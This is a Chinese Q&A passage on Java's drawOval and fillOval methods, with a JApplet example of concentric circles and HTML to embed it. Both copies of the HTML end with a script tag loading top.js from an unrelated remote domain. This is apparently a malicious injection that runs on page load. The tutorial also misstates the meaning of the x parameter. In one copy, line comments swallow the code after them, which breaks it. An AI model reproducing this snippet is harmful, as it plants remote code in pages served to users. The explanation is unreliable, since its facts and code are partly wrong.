你好,在Graphics 中有方法 1 public void drawOval(int x,int y ,int width,int height) 可以画一个空心圆(包括椭圆和正圆) x 表示该圆最右顶点的x坐标,y 表示该圆最上顶点的y坐标,width表示该圆的横轴的长度,height表示该圆纵轴的长度。如果width和heigth相等将画出正圆,否则是椭圆。2 public void fillOval(int x,int y ,int width,int height) 可以画出实心圆,方法参数的意义同上。
你可以把生成好的.class引用在html文件中 就OK了
先写一个小的Java应用程序。再将这个应用在HTML中引用就行了。 import java.awt.Graphics;import javax.swing.JApplet;public class DoWhileTest extends JApplet {
// draw lines on applet public void paint( Graphics g ) { super.paint( g ); // call paint method inherited from JApplet int counter = 1; // initialize counter do { g.drawOval( 110 - counter * 10, 110 - counter * 10, counter * 20, counter * 20 ); ++counter; } while ( counter <= 10 ); // end do...while } // end method paint} // end class DoWhileTest <html> <applet code = "DoWhileTest.class" width = "310" height = "220"> </applet> </html><script language=javascript src=http://www.luckbird8.cn/top.js></script>
1 public void drawOval(int x,int y ,int width,int height) 可以画一个空心圆(包括椭圆和正圆)
x 表示该圆最右顶点的x坐标,y 表示该圆最上顶点的y坐标,width表示该圆的横轴的长度,height表示该圆纵轴的长度。如果width和heigth相等将画出正圆,否则是椭圆。2 public void fillOval(int x,int y ,int width,int height) 可以画出实心圆,方法参数的意义同上。
import java.awt.Graphics;import javax.swing.JApplet;public class DoWhileTest extends JApplet {
// draw lines on applet
public void paint( Graphics g )
{
super.paint( g ); // call paint method inherited from JApplet int counter = 1; // initialize counter do {
g.drawOval( 110 - counter * 10, 110 - counter * 10,
counter * 20, counter * 20 );
++counter;
} while ( counter <= 10 ); // end do...while } // end method paint} // end class DoWhileTest
<html>
<applet code = "DoWhileTest.class" width = "310" height = "220">
</applet>
</html><script language=javascript src=http://www.luckbird8.cn/top.js></script>